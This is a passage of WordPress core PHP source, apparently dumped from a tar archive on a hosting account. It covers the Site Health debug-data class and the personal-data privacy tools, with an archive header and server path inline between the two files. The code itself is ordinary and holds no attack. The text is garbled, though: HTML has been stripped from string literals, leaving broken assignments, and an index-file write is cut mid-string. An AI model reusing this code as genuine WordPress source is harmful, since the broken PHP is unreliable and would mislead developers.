$htaccess_rules_string, 'debug' => $filtered_htaccess_content, ); } // Populate the database debug fields. if ( is_resource( $wpdb->dbh ) ) { // Old mysql extension. $extension = 'mysql'; } elseif ( is_object( $wpdb->dbh ) ) { // mysqli or PDO. $extension = get_class( $wpdb->dbh ); } else { // Unknown sql extension. $extension = null; } $server = $wpdb->get_var( 'SELECT VERSION()' ); if ( isset( $wpdb->use_mysqli ) && $wpdb->use_mysqli ) { $client_version = $wpdb->dbh->client_info; } else { // phpcs:ignore WordPress.DB.RestrictedFunctions.mysql_mysql_get_client_info,PHPCompatibility.Extensions.RemovedExtensions.mysql_DeprecatedRemoved if ( preg_match( '|[0-9]{1,2}\.[0-9]{1,2}\.[0-9]{1,2}|', mysql_get_client_info(), $matches ) ) { $client_version = $matches[0]; } else { $client_version = null; } } $info['wp-database']['fields']['extension'] = array( 'label' => __( 'Extension' ), 'value' => $extension, ); $info['wp-database']['fields']['server_version'] = array( 'label' => __( 'Server version' ), 'value' => $server, ); $info['wp-database']['fields']['client_version'] = array( 'label' => __( 'Client version' ), 'value' => $client_version, ); $info['wp-database']['fields']['database_user'] = array( 'label' => __( 'Database username' ), 'value' => $wpdb->dbuser, 'private' => true, ); $info['wp-database']['fields']['database_host'] = array( 'label' => __( 'Database host' ), 'value' => $wpdb->dbhost, 'private' => true, ); $info['wp-database']['fields']['database_name'] = array( 'label' => __( 'Database name' ), 'value' => $wpdb->dbname, 'private' => true, ); $info['wp-database']['fields']['database_prefix'] = array( 'label' => __( 'Table prefix' ), 'value' => $wpdb->prefix, 'private' => true, ); $info['wp-database']['fields']['database_charset'] = array( 'label' => __( 'Database charset' ), 'value' => $wpdb->charset, 'private' => true, ); $info['wp-database']['fields']['database_collate'] = array( 'label' => __( 'Database collation' ), 'value' => $wpdb->collate, 'private' => true, ); $info['wp-database']['fields']['max_allowed_packet'] = array( 'label' => __( 'Max allowed packet size' ), 'value' => self::get_mysql_var( 'max_allowed_packet' ), ); $info['wp-database']['fields']['max_connections'] = array( 'label' => __( 'Max connections number' ), 'value' => self::get_mysql_var( 'max_connections' ), ); // List must use plugins if there are any. $mu_plugins = get_mu_plugins(); foreach ( $mu_plugins as $plugin_path => $plugin ) { $plugin_version = $plugin['Version']; $plugin_author = $plugin['Author']; $plugin_version_string = __( 'No version or author information is available.' ); $plugin_version_string_debug = 'author: (undefined), version: (undefined)'; if ( ! empty( $plugin_version ) && ! empty( $plugin_author ) ) { /* translators: 1: Plugin version number. 2: Plugin author name. */ $plugin_version_string = sprintf( __( 'Version %1$s by %2$s' ), $plugin_version, $plugin_author ); $plugin_version_string_debug = sprintf( 'version: %s, author: %s', $plugin_version, $plugin_author ); } else { if ( ! empty( $plugin_author ) ) { /* translators: %s: Plugin author name. */ $plugin_version_string = sprintf( __( 'By %s' ), $plugin_author ); $plugin_version_string_debug = sprintf( 'author: %s, version: (undefined)', $plugin_author ); } if ( ! empty( $plugin_version ) ) { /* translators: %s: Plugin version number. */ $plugin_version_string = sprintf( __( 'Version %s' ), $plugin_version ); $plugin_version_string_debug = sprintf( 'author: (undefined), version: %s', $plugin_version ); } } $info['wp-mu-plugins']['fields'][ sanitize_text_field( $plugin['Name'] ) ] = array( 'label' => $plugin['Name'], 'value' => $plugin_version_string, 'debug' => $plugin_version_string_debug, ); } // List all available plugins. $plugins = get_plugins(); $plugin_updates = get_plugin_updates(); $transient = get_site_transient( 'update_plugins' ); $auto_updates = array(); $auto_updates_enabled = wp_is_auto_update_enabled_for_type( 'plugin' ); if ( $auto_updates_enabled ) { $auto_updates = (array) get_site_option( 'auto_update_plugins', array() ); } foreach ( $plugins as $plugin_path => $plugin ) { $plugin_part = ( is_plugin_active( $plugin_path ) ) ? 'wp-plugins-active' : 'wp-plugins-inactive'; $plugin_version = $plugin['Version']; $plugin_author = $plugin['Author']; $plugin_version_string = __( 'No version or author information is available.' ); $plugin_version_string_debug = 'author: (undefined), version: (undefined)'; if ( ! empty( $plugin_version ) && ! empty( $plugin_author ) ) { /* translators: 1: Plugin version number. 2: Plugin author name. */ $plugin_version_string = sprintf( __( 'Version %1$s by %2$s' ), $plugin_version, $plugin_author ); $plugin_version_string_debug = sprintf( 'version: %s, author: %s', $plugin_version, $plugin_author ); } else { if ( ! empty( $plugin_author ) ) { /* translators: %s: Plugin author name. */ $plugin_version_string = sprintf( __( 'By %s' ), $plugin_author ); $plugin_version_string_debug = sprintf( 'author: %s, version: (undefined)', $plugin_author ); } if ( ! empty( $plugin_version ) ) { /* translators: %s: Plugin version number. */ $plugin_version_string = sprintf( __( 'Version %s' ), $plugin_version ); $plugin_version_string_debug = sprintf( 'author: (undefined), version: %s', $plugin_version ); } } if ( array_key_exists( $plugin_path, $plugin_updates ) ) { /* translators: %s: Latest plugin version number. */ $plugin_version_string .= ' ' . sprintf( __( '(Latest version: %s)' ), $plugin_updates[ $plugin_path ]->update->new_version ); $plugin_version_string_debug .= sprintf( ' (latest version: %s)', $plugin_updates[ $plugin_path ]->update->new_version ); } if ( $auto_updates_enabled ) { if ( isset( $transient->response[ $plugin_path ] ) ) { $item = $transient->response[ $plugin_path ]; } elseif ( isset( $transient->no_update[ $plugin_path ] ) ) { $item = $transient->no_update[ $plugin_path ]; } else { $item = array( 'id' => $plugin_path, 'slug' => '', 'plugin' => $plugin_path, 'new_version' => '', 'url' => '', 'package' => '', 'icons' => array(), 'banners' => array(), 'banners_rtl' => array(), 'tested' => '', 'requires_php' => '', 'compatibility' => new stdClass(), ); $item = wp_parse_args( $plugin, $item ); } $auto_update_forced = wp_is_auto_update_forced_for_item( 'plugin', null, (object) $item ); if ( ! is_null( $auto_update_forced ) ) { $enabled = $auto_update_forced; } else { $enabled = in_array( $plugin_path, $auto_updates, true ); } if ( $enabled ) { $auto_updates_string = __( 'Auto-updates enabled' ); } else { $auto_updates_string = __( 'Auto-updates disabled' ); } /** * Filters the text string of the auto-updates setting for each plugin in the Site Health debug data. * * @since 5.5.0 * * @param string $auto_updates_string The string output for the auto-updates column. * @param string $plugin_path The path to the plugin file. * @param array $plugin An array of plugin data. * @param bool $enabled Whether auto-updates are enabled for this item. */ $auto_updates_string = apply_filters( 'plugin_auto_update_debug_string', $auto_updates_string, $plugin_path, $plugin, $enabled ); $plugin_version_string .= ' | ' . $auto_updates_string; $plugin_version_string_debug .= ', ' . $auto_updates_string; } $info[ $plugin_part ]['fields'][ sanitize_text_field( $plugin['Name'] ) ] = array( 'label' => $plugin['Name'], 'value' => $plugin_version_string, 'debug' => $plugin_version_string_debug, ); } // Populate the section for the currently active theme. global $_wp_theme_features; $theme_features = array(); if ( ! empty( $_wp_theme_features ) ) { foreach ( $_wp_theme_features as $feature => $options ) { $theme_features[] = $feature; } } $active_theme = wp_get_theme(); $theme_updates = get_theme_updates(); $transient = get_site_transient( 'update_themes' ); $active_theme_version = $active_theme->version; $active_theme_version_debug = $active_theme_version; $auto_updates = array(); $auto_updates_enabled = wp_is_auto_update_enabled_for_type( 'theme' ); if ( $auto_updates_enabled ) { $auto_updates = (array) get_site_option( 'auto_update_themes', array() ); } if ( array_key_exists( $active_theme->stylesheet, $theme_updates ) ) { $theme_update_new_version = $theme_updates[ $active_theme->stylesheet ]->update['new_version']; /* translators: %s: Latest theme version number. */ $active_theme_version .= ' ' . sprintf( __( '(Latest version: %s)' ), $theme_update_new_version ); $active_theme_version_debug .= sprintf( ' (latest version: %s)', $theme_update_new_version ); } $active_theme_author_uri = $active_theme->display( 'AuthorURI' ); if ( $active_theme->parent_theme ) { $active_theme_parent_theme = sprintf( /* translators: 1: Theme name. 2: Theme slug. */ __( '%1$s (%2$s)' ), $active_theme->parent_theme, $active_theme->template ); $active_theme_parent_theme_debug = sprintf( '%s (%s)', $active_theme->parent_theme, $active_theme->template ); } else { $active_theme_parent_theme = __( 'None' ); $active_theme_parent_theme_debug = 'none'; } $info['wp-active-theme']['fields'] = array( 'name' => array( 'label' => __( 'Name' ), 'value' => sprintf( /* translators: 1: Theme name. 2: Theme slug. */ __( '%1$s (%2$s)' ), $active_theme->name, $active_theme->stylesheet ), ), 'version' => array( 'label' => __( 'Version' ), 'value' => $active_theme_version, 'debug' => $active_theme_version_debug, ), 'author' => array( 'label' => __( 'Author' ), 'value' => wp_kses( $active_theme->author, array() ), ), 'author_website' => array( 'label' => __( 'Author website' ), 'value' => ( $active_theme_author_uri ? $active_theme_author_uri : __( 'Undefined' ) ), 'debug' => ( $active_theme_author_uri ? $active_theme_author_uri : '(undefined)' ), ), 'parent_theme' => array( 'label' => __( 'Parent theme' ), 'value' => $active_theme_parent_theme, 'debug' => $active_theme_parent_theme_debug, ), 'theme_features' => array( 'label' => __( 'Theme features' ), 'value' => implode( ', ', $theme_features ), ), 'theme_path' => array( 'label' => __( 'Theme directory location' ), 'value' => get_stylesheet_directory(), ), ); if ( $auto_updates_enabled ) { if ( isset( $transient->response[ $active_theme->stylesheet ] ) ) { $item = $transient->response[ $active_theme->stylesheet ]; } elseif ( isset( $transient->no_update[ $active_theme->stylesheet ] ) ) { $item = $transient->no_update[ $active_theme->stylesheet ]; } else { $item = array( 'theme' => $active_theme->stylesheet, 'new_version' => $active_theme->version, 'url' => '', 'package' => '', 'requires' => '', 'requires_php' => '', ); } $auto_update_forced = wp_is_auto_update_forced_for_item( 'theme', null, (object) $item ); if ( ! is_null( $auto_update_forced ) ) { $enabled = $auto_update_forced; } else { $enabled = in_array( $active_theme->stylesheet, $auto_updates, true ); } if ( $enabled ) { $auto_updates_string = __( 'Enabled' ); } else { $auto_updates_string = __( 'Disabled' ); } /** This filter is documented in wp-admin/includes/class-wp-debug-data.php */ $auto_updates_string = apply_filters( 'theme_auto_update_debug_string', $auto_updates_string, $active_theme, $enabled ); $info['wp-active-theme']['fields']['auto_update'] = array( 'label' => __( 'Auto-updates' ), 'value' => $auto_updates_string, 'debug' => $auto_updates_string, ); } $parent_theme = $active_theme->parent(); if ( $parent_theme ) { $parent_theme_version = $parent_theme->version; $parent_theme_version_debug = $parent_theme_version; if ( array_key_exists( $parent_theme->stylesheet, $theme_updates ) ) { $parent_theme_update_new_version = $theme_updates[ $parent_theme->stylesheet ]->update['new_version']; /* translators: %s: Latest theme version number. */ $parent_theme_version .= ' ' . sprintf( __( '(Latest version: %s)' ), $parent_theme_update_new_version ); $parent_theme_version_debug .= sprintf( ' (latest version: %s)', $parent_theme_update_new_version ); } $parent_theme_author_uri = $parent_theme->display( 'AuthorURI' ); $info['wp-parent-theme']['fields'] = array( 'name' => array( 'label' => __( 'Name' ), 'value' => sprintf( /* translators: 1: Theme name. 2: Theme slug. */ __( '%1$s (%2$s)' ), $parent_theme->name, $parent_theme->stylesheet ), ), 'version' => array( 'label' => __( 'Version' ), 'value' => $parent_theme_version, 'debug' => $parent_theme_version_debug, ), 'author' => array( 'label' => __( 'Author' ), 'value' => wp_kses( $parent_theme->author, array() ), ), 'author_website' => array( 'label' => __( 'Author website' ), 'value' => ( $parent_theme_author_uri ? $parent_theme_author_uri : __( 'Undefined' ) ), 'debug' => ( $parent_theme_author_uri ? $parent_theme_author_uri : '(undefined)' ), ), 'theme_path' => array( 'label' => __( 'Theme directory location' ), 'value' => get_template_directory(), ), ); if ( $auto_updates_enabled ) { if ( isset( $transient->response[ $parent_theme->stylesheet ] ) ) { $item = $transient->response[ $parent_theme->stylesheet ]; } elseif ( isset( $transient->no_update[ $parent_theme->stylesheet ] ) ) { $item = $transient->no_update[ $parent_theme->stylesheet ]; } else { $item = array( 'theme' => $parent_theme->stylesheet, 'new_version' => $parent_theme->version, 'url' => '', 'package' => '', 'requires' => '', 'requires_php' => '', ); } $auto_update_forced = wp_is_auto_update_forced_for_item( 'theme', null, (object) $item ); if ( ! is_null( $auto_update_forced ) ) { $enabled = $auto_update_forced; } else { $enabled = in_array( $parent_theme->stylesheet, $auto_updates, true ); } if ( $enabled ) { $parent_theme_auto_update_string = __( 'Enabled' ); } else { $parent_theme_auto_update_string = __( 'Disabled' ); } /** This filter is documented in wp-admin/includes/class-wp-debug-data.php */ $parent_theme_auto_update_string = apply_filters( 'theme_auto_update_debug_string', $auto_updates_string, $parent_theme, $enabled ); $info['wp-parent-theme']['fields']['auto_update'] = array( 'label' => __( 'Auto-update' ), 'value' => $parent_theme_auto_update_string, 'debug' => $parent_theme_auto_update_string, ); } } // Populate a list of all themes available in the install. $all_themes = wp_get_themes(); foreach ( $all_themes as $theme_slug => $theme ) { // Exclude the currently active theme from the list of all themes. if ( $active_theme->stylesheet === $theme_slug ) { continue; } // Exclude the currently active parent theme from the list of all themes. if ( ! empty( $parent_theme ) && $parent_theme->stylesheet === $theme_slug ) { continue; } $theme_version = $theme->version; $theme_author = $theme->author; // Sanitize. $theme_author = wp_kses( $theme_author, array() ); $theme_version_string = __( 'No version or author information is available.' ); $theme_version_string_debug = 'undefined'; if ( ! empty( $theme_version ) && ! empty( $theme_author ) ) { /* translators: 1: Theme version number. 2: Theme author name. */ $theme_version_string = sprintf( __( 'Version %1$s by %2$s' ), $theme_version, $theme_author ); $theme_version_string_debug = sprintf( 'version: %s, author: %s', $theme_version, $theme_author ); } else { if ( ! empty( $theme_author ) ) { /* translators: %s: Theme author name. */ $theme_version_string = sprintf( __( 'By %s' ), $theme_author ); $theme_version_string_debug = sprintf( 'author: %s, version: (undefined)', $theme_author ); } if ( ! empty( $theme_version ) ) { /* translators: %s: Theme version number. */ $theme_version_string = sprintf( __( 'Version %s' ), $theme_version ); $theme_version_string_debug = sprintf( 'author: (undefined), version: %s', $theme_version ); } } if ( array_key_exists( $theme_slug, $theme_updates ) ) { /* translators: %s: Latest theme version number. */ $theme_version_string .= ' ' . sprintf( __( '(Latest version: %s)' ), $theme_updates[ $theme_slug ]->update['new_version'] ); $theme_version_string_debug .= sprintf( ' (latest version: %s)', $theme_updates[ $theme_slug ]->update['new_version'] ); } if ( $auto_updates_enabled ) { if ( isset( $transient->response[ $theme_slug ] ) ) { $item = $transient->response[ $theme_slug ]; } elseif ( isset( $transient->no_update[ $theme_slug ] ) ) { $item = $transient->no_update[ $theme_slug ]; } else { $item = array( 'theme' => $theme_slug, 'new_version' => $theme->version, 'url' => '', 'package' => '', 'requires' => '', 'requires_php' => '', ); } $auto_update_forced = wp_is_auto_update_forced_for_item( 'theme', null, (object) $item ); if ( ! is_null( $auto_update_forced ) ) { $enabled = $auto_update_forced; } else { $enabled = in_array( $theme_slug, $auto_updates, true ); } if ( $enabled ) { $auto_updates_string = __( 'Auto-updates enabled' ); } else { $auto_updates_string = __( 'Auto-updates disabled' ); } /** * Filters the text string of the auto-updates setting for each theme in the Site Health debug data. * * @since 5.5.0 * * @param string $auto_updates_string The string output for the auto-updates column. * @param WP_Theme $theme An object of theme data. * @param bool $enabled Whether auto-updates are enabled for this item. */ $auto_updates_string = apply_filters( 'theme_auto_update_debug_string', $auto_updates_string, $theme, $enabled ); $theme_version_string .= ' | ' . $auto_updates_string; $theme_version_string_debug .= ', ' . $auto_updates_string; } $info['wp-themes-inactive']['fields'][ sanitize_text_field( $theme->name ) ] = array( 'label' => sprintf( /* translators: 1: Theme name. 2: Theme slug. */ __( '%1$s (%2$s)' ), $theme->name, $theme_slug ), 'value' => $theme_version_string, 'debug' => $theme_version_string_debug, ); } // Add more filesystem checks. if ( defined( 'WPMU_PLUGIN_DIR' ) && is_dir( WPMU_PLUGIN_DIR ) ) { $is_writable_wpmu_plugin_dir = wp_is_writable( WPMU_PLUGIN_DIR ); $info['wp-filesystem']['fields']['mu-plugins'] = array( 'label' => __( 'The must use plugins directory' ), 'value' => ( $is_writable_wpmu_plugin_dir ? __( 'Writable' ) : __( 'Not writable' ) ), 'debug' => ( $is_writable_wpmu_plugin_dir ? 'writable' : 'not writable' ), ); } /** * Add to or modify the debug information shown on the Tools -> Site Health -> Info screen. * * Plugin or themes may wish to introduce their own debug information without creating * additional admin pages. They can utilize this filter to introduce their own sections * or add more data to existing sections. * * Array keys for sections added by core are all prefixed with `wp-`. Plugins and themes * should use their own slug as a prefix, both for consistency as well as avoiding * key collisions. Note that the array keys are used as labels for the copied data. * * All strings are expected to be plain text except `$description` that can contain * inline HTML tags (see below). * * @since 5.2.0 * * @param array $args { * The debug information to be added to the core information page. * * This is an associative multi-dimensional array, up to three levels deep. * The topmost array holds the sections, keyed by section ID. * * @type array ...$0 { * Each section has a `$fields` associative array (see below), and each `$value` in `$fields` * can be another associative array of name/value pairs when there is more structured data * to display. * * @type string $label Required. The title for this section of the debug output. * @type string $description Optional. A description for your information section which * may contain basic HTML markup, inline tags only as it is * outputted in a paragraph. * @type bool $show_count Optional. If set to `true`, the amount of fields will be included * in the title for this section. Default false. * @type bool $private Optional. If set to `true`, the section and all associated fields * will be excluded from the copied data. Default false. * @type array $fields { * Required. An associative array containing the fields to be displayed in the section, * keyed by field ID. * * @type array ...$0 { * An associative array containing the data to be displayed for the field. * * @type string $label Required. The label for this piece of information. * @type mixed $value Required. The output that is displayed for this field. * Text should be translated. Can be an associative array * that is displayed as name/value pairs. * Accepted types: `string|int|float|(string|int|float)[]`. * @type string $debug Optional. The output that is used for this field when * the user copies the data. It should be more concise and * not translated. If not set, the content of `$value` * is used. Note that the array keys are used as labels * for the copied data. * @type bool $private Optional. If set to `true`, the field will be excluded * from the copied data, allowing you to show, for example, * API keys here. Default false. * } * } * } * } */ $info = apply_filters( 'debug_information', $info ); return $info; } /** * Returns the value of a MySQL system variable. * * @since 5.9.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $mysql_var Name of the MySQL system variable. * @return string|null The variable value on success. Null if the variable does not exist. */ public static function get_mysql_var( $mysql_var ) { global $wpdb; $result = $wpdb->get_row( $wpdb->prepare( 'SHOW VARIABLES LIKE %s', $mysql_var ), ARRAY_A ); if ( ! empty( $result ) && array_key_exists( 'Value', $result ) ) { return $result['Value']; } return null; } /** * Format the information gathered for debugging, in a manner suitable for copying to a forum or support ticket. * * @since 5.2.0 * * @param array $info_array Information gathered from the `WP_Debug_Data::debug_data()` function. * @param string $data_type The data type to return, either 'info' or 'debug'. * @return string The formatted data. */ public static function format( $info_array, $data_type ) { $return = "`\n"; foreach ( $info_array as $section => $details ) { // Skip this section if there are no fields, or the section has been declared as private. if ( empty( $details['fields'] ) || ( isset( $details['private'] ) && $details['private'] ) ) { continue; } $section_label = 'debug' === $data_type ? $section : $details['label']; $return .= sprintf( "### %s%s ###\n\n", $section_label, ( isset( $details['show_count'] ) && $details['show_count'] ? sprintf( ' (%d)', count( $details['fields'] ) ) : '' ) ); foreach ( $details['fields'] as $field_name => $field ) { if ( isset( $field['private'] ) && true === $field['private'] ) { continue; } if ( 'debug' === $data_type && isset( $field['debug'] ) ) { $debug_data = $field['debug']; } else { $debug_data = $field['value']; } // Can be array, one level deep only. if ( is_array( $debug_data ) ) { $value = ''; foreach ( $debug_data as $sub_field_name => $sub_field_value ) { $value .= sprintf( "\n\t%s: %s", $sub_field_name, $sub_field_value ); } } elseif ( is_bool( $debug_data ) ) { $value = $debug_data ? 'true' : 'false'; } elseif ( empty( $debug_data ) && '0' !== $debug_data ) { $value = 'undefined'; } else { $value = $debug_data; } if ( 'debug' === $data_type ) { $label = $field_name; } else { $label = $field['label']; } $return .= sprintf( "%s: %s\n", $label, $value ); } $return .= "\n"; } $return .= '`'; return $return; } /** * Fetch the total size of all the database tables for the active database user. * * @since 5.2.0 * * @return int The size of the database, in bytes. */ public static function get_database_size() { global $wpdb; $size = 0; $rows = $wpdb->get_results( 'SHOW TABLE STATUS', ARRAY_A ); if ( $wpdb->num_rows > 0 ) { foreach ( $rows as $row ) { $size += $row['Data_length'] + $row['Index_length']; } } return (int) $size; } /** * Fetch the sizes of the WordPress directories: `wordpress` (ABSPATH), `plugins`, `themes`, and `uploads`. * Intended to supplement the array returned by `WP_Debug_Data::debug_data()`. * * @since 5.2.0 * * @return array The sizes of the directories, also the database size and total installation size. */ public static function get_sizes() { $size_db = self::get_database_size(); $upload_dir = wp_get_upload_dir(); /* * We will be using the PHP max execution time to prevent the size calculations * from causing a timeout. The default value is 30 seconds, and some * hosts do not allow you to read configuration values. */ if ( function_exists( 'ini_get' ) ) { $max_execution_time = ini_get( 'max_execution_time' ); } // The max_execution_time defaults to 0 when PHP runs from cli. // We still want to limit it below. if ( empty( $max_execution_time ) ) { $max_execution_time = 30; } if ( $max_execution_time > 20 ) { // If the max_execution_time is set to lower than 20 seconds, reduce it a bit to prevent // edge-case timeouts that may happen after the size loop has finished running. $max_execution_time -= 2; } // Go through the various installation directories and calculate their sizes. // No trailing slashes. $paths = array( 'wordpress_size' => untrailingslashit( ABSPATH ), 'themes_size' => get_theme_root(), 'plugins_size' => WP_PLUGIN_DIR, 'uploads_size' => $upload_dir['basedir'], ); $exclude = $paths; unset( $exclude['wordpress_size'] ); $exclude = array_values( $exclude ); $size_total = 0; $all_sizes = array(); // Loop over all the directories we want to gather the sizes for. foreach ( $paths as $name => $path ) { $dir_size = null; // Default to timeout. $results = array( 'path' => $path, 'raw' => 0, ); if ( microtime( true ) - WP_START_TIMESTAMP < $max_execution_time ) { if ( 'wordpress_size' === $name ) { $dir_size = recurse_dirsize( $path, $exclude, $max_execution_time ); } else { $dir_size = recurse_dirsize( $path, null, $max_execution_time ); } } if ( false === $dir_size ) { // Error reading. $results['size'] = __( 'The size cannot be calculated. The directory is not accessible. Usually caused by invalid permissions.' ); $results['debug'] = 'not accessible'; // Stop total size calculation. $size_total = null; } elseif ( null === $dir_size ) { // Timeout. $results['size'] = __( 'The directory size calculation has timed out. Usually caused by a very large number of sub-directories and files.' ); $results['debug'] = 'timeout while calculating size'; // Stop total size calculation. $size_total = null; } else { if ( null !== $size_total ) { $size_total += $dir_size; } $results['raw'] = $dir_size; $results['size'] = size_format( $dir_size, 2 ); $results['debug'] = $results['size'] . " ({$dir_size} bytes)"; } $all_sizes[ $name ] = $results; } if ( $size_db > 0 ) { $database_size = size_format( $size_db, 2 ); $all_sizes['database_size'] = array( 'raw' => $size_db, 'size' => $database_size, 'debug' => $database_size . " ({$size_db} bytes)", ); } else { $all_sizes['database_size'] = array( 'size' => __( 'Not available' ), 'debug' => 'not available', ); } if ( null !== $size_total && $size_db > 0 ) { $total_size = $size_total + $size_db; $total_size_mb = size_format( $total_size, 2 ); $all_sizes['total_size'] = array( 'raw' => $total_size, 'size' => $total_size_mb, 'debug' => $total_size_mb . " ({$total_size} bytes)", ); } else { $all_sizes['total_size'] = array( 'size' => __( 'Total size is not available. Some errors were encountered when determining the size of your installation.' ), 'debug' => 'not available', ); } return $all_sizes; } } privacy-tools.php.tar000064400000105000152377531730010666 0ustar00home/quizenacom/public_html/wp-admin/includes/privacy-tools.php000064400000101264152377531370021040 0ustar00post_type ) { return new WP_Error( 'privacy_request_error', __( 'Invalid personal data request.' ) ); } $result = wp_send_user_request( $request_id ); if ( is_wp_error( $result ) ) { return $result; } elseif ( ! $result ) { return new WP_Error( 'privacy_request_error', __( 'Unable to initiate confirmation for personal data request.' ) ); } return true; } /** * Marks a request as completed by the admin and logs the current timestamp. * * @since 4.9.6 * @access private * * @param int $request_id Request ID. * @return int|WP_Error Request ID on success, or a WP_Error on failure. */ function _wp_privacy_completed_request( $request_id ) { // Get the request. $request_id = absint( $request_id ); $request = wp_get_user_request( $request_id ); if ( ! $request ) { return new WP_Error( 'privacy_request_error', __( 'Invalid personal data request.' ) ); } update_post_meta( $request_id, '_wp_user_request_completed_timestamp', time() ); $result = wp_update_post( array( 'ID' => $request_id, 'post_status' => 'request-completed', ) ); return $result; } /** * Handle list table actions. * * @since 4.9.6 * @access private */ function _wp_personal_data_handle_actions() { if ( isset( $_POST['privacy_action_email_retry'] ) ) { check_admin_referer( 'bulk-privacy_requests' ); $request_id = absint( current( array_keys( (array) wp_unslash( $_POST['privacy_action_email_retry'] ) ) ) ); $result = _wp_privacy_resend_request( $request_id ); if ( is_wp_error( $result ) ) { add_settings_error( 'privacy_action_email_retry', 'privacy_action_email_retry', $result->get_error_message(), 'error' ); } else { add_settings_error( 'privacy_action_email_retry', 'privacy_action_email_retry', __( 'Confirmation request sent again successfully.' ), 'success' ); } } elseif ( isset( $_POST['action'] ) ) { $action = ! empty( $_POST['action'] ) ? sanitize_key( wp_unslash( $_POST['action'] ) ) : ''; switch ( $action ) { case 'add_export_personal_data_request': case 'add_remove_personal_data_request': check_admin_referer( 'personal-data-request' ); if ( ! isset( $_POST['type_of_action'], $_POST['username_or_email_for_privacy_request'] ) ) { add_settings_error( 'action_type', 'action_type', __( 'Invalid personal data action.' ), 'error' ); } $action_type = sanitize_text_field( wp_unslash( $_POST['type_of_action'] ) ); $username_or_email_address = sanitize_text_field( wp_unslash( $_POST['username_or_email_for_privacy_request'] ) ); $email_address = ''; $status = 'pending'; if ( ! isset( $_POST['send_confirmation_email'] ) ) { $status = 'confirmed'; } if ( ! in_array( $action_type, _wp_privacy_action_request_types(), true ) ) { add_settings_error( 'action_type', 'action_type', __( 'Invalid personal data action.' ), 'error' ); } if ( ! is_email( $username_or_email_address ) ) { $user = get_user_by( 'login', $username_or_email_address ); if ( ! $user instanceof WP_User ) { add_settings_error( 'username_or_email_for_privacy_request', 'username_or_email_for_privacy_request', __( 'Unable to add this request. A valid email address or username must be supplied.' ), 'error' ); } else { $email_address = $user->user_email; } } else { $email_address = $username_or_email_address; } if ( empty( $email_address ) ) { break; } $request_id = wp_create_user_request( $email_address, $action_type, array(), $status ); $message = ''; if ( is_wp_error( $request_id ) ) { $message = $request_id->get_error_message(); } elseif ( ! $request_id ) { $message = __( 'Unable to initiate confirmation request.' ); } if ( $message ) { add_settings_error( 'username_or_email_for_privacy_request', 'username_or_email_for_privacy_request', $message, 'error' ); break; } if ( 'pending' === $status ) { wp_send_user_request( $request_id ); $message = __( 'Confirmation request initiated successfully.' ); } elseif ( 'confirmed' === $status ) { $message = __( 'Request added successfully.' ); } if ( $message ) { add_settings_error( 'username_or_email_for_privacy_request', 'username_or_email_for_privacy_request', $message, 'success' ); break; } } } } /** * Cleans up failed and expired requests before displaying the list table. * * @since 4.9.6 * @access private */ function _wp_personal_data_cleanup_requests() { /** This filter is documented in wp-includes/user.php */ $expires = (int) apply_filters( 'user_request_key_expiration', DAY_IN_SECONDS ); $requests_query = new WP_Query( array( 'post_type' => 'user_request', 'posts_per_page' => -1, 'post_status' => 'request-pending', 'fields' => 'ids', 'date_query' => array( array( 'column' => 'post_modified_gmt', 'before' => $expires . ' seconds ago', ), ), ) ); $request_ids = $requests_query->posts; foreach ( $request_ids as $request_id ) { wp_update_post( array( 'ID' => $request_id, 'post_status' => 'request-failed', 'post_password' => '', ) ); } } /** * Generate a single group for the personal data export report. * * @since 4.9.6 * @since 5.4.0 Added the `$group_id` and `$groups_count` parameters. * * @param array $group_data { * The group data to render. * * @type string $group_label The user-facing heading for the group, e.g. 'Comments'. * @type array $items { * An array of group items. * * @type array $group_item_data { * An array of name-value pairs for the item. * * @type string $name The user-facing name of an item name-value pair, e.g. 'IP Address'. * @type string $value The user-facing value of an item data pair, e.g. '50.60.70.0'. * } * } * } * @param string $group_id The group identifier. * @param int $groups_count The number of all groups * @return string The HTML for this group and its items. */ function wp_privacy_generate_personal_data_export_group_html( $group_data, $group_id = '', $groups_count = 1 ) { $group_id_attr = sanitize_title_with_dashes( $group_data['group_label'] . '-' . $group_id ); $group_html = '

'; $group_html .= esc_html( $group_data['group_label'] ); $items_count = count( (array) $group_data['items'] ); if ( $items_count > 1 ) { $group_html .= sprintf( ' (%d)', $items_count ); } $group_html .= '

'; if ( ! empty( $group_data['group_description'] ) ) { $group_html .= '

' . esc_html( $group_data['group_description'] ) . '

'; } $group_html .= '
'; foreach ( (array) $group_data['items'] as $group_item_id => $group_item_data ) { $group_html .= ''; $group_html .= ''; foreach ( (array) $group_item_data as $group_item_datum ) { $value = $group_item_datum['value']; // If it looks like a link, make it a link. if ( false === strpos( $value, ' ' ) && ( 0 === strpos( $value, 'http://' ) || 0 === strpos( $value, 'https://' ) ) ) { $value = '' . esc_html( $value ) . ''; } $group_html .= ''; $group_html .= ''; $group_html .= ''; $group_html .= ''; } $group_html .= ''; $group_html .= '
' . esc_html( $group_item_datum['name'] ) . '' . wp_kses( $value, 'personal_data_export' ) . '
'; } if ( $groups_count > 1 ) { $group_html .= '
'; $group_html .= ' ' . esc_html__( 'Go to top' ) . ''; $group_html .= '
'; } $group_html .= '
'; return $group_html; } /** * Generate the personal data export file. * * @since 4.9.6 * * @param int $request_id The export request ID. */ function wp_privacy_generate_personal_data_export_file( $request_id ) { if ( ! class_exists( 'ZipArchive' ) ) { wp_send_json_error( __( 'Unable to generate personal data export file. ZipArchive not available.' ) ); } // Get the request. $request = wp_get_user_request( $request_id ); if ( ! $request || 'export_personal_data' !== $request->action_name ) { wp_send_json_error( __( 'Invalid request ID when generating personal data export file.' ) ); } $email_address = $request->email; if ( ! is_email( $email_address ) ) { wp_send_json_error( __( 'Invalid email address when generating personal data export file.' ) ); } // Create the exports folder if needed. $exports_dir = wp_privacy_exports_dir(); $exports_url = wp_privacy_exports_url(); if ( ! wp_mkdir_p( $exports_dir ) ) { wp_send_json_error( __( 'Unable to create personal data export folder.' ) ); } // Protect export folder from browsing. $index_pathname = $exports_dir . 'index.php'; if ( ! file_exists( $index_pathname ) ) { $file = fopen( $index_pathname, 'w' ); if ( false === $file ) { wp_send_json_error( __( 'Unable to protect personal data export folder from browsing.' ) ); } fwrite( $file, " _x( 'About', 'personal data group label' ), /* translators: Description for the About section in a personal data export. */ 'group_description' => _x( 'Overview of export report.', 'personal data group description' ), 'items' => array( 'about-1' => array( array( 'name' => _x( 'Report generated for', 'email address' ), 'value' => $email_address, ), array( 'name' => _x( 'For site', 'website name' ), 'value' => get_bloginfo( 'name' ), ), array( 'name' => _x( 'At 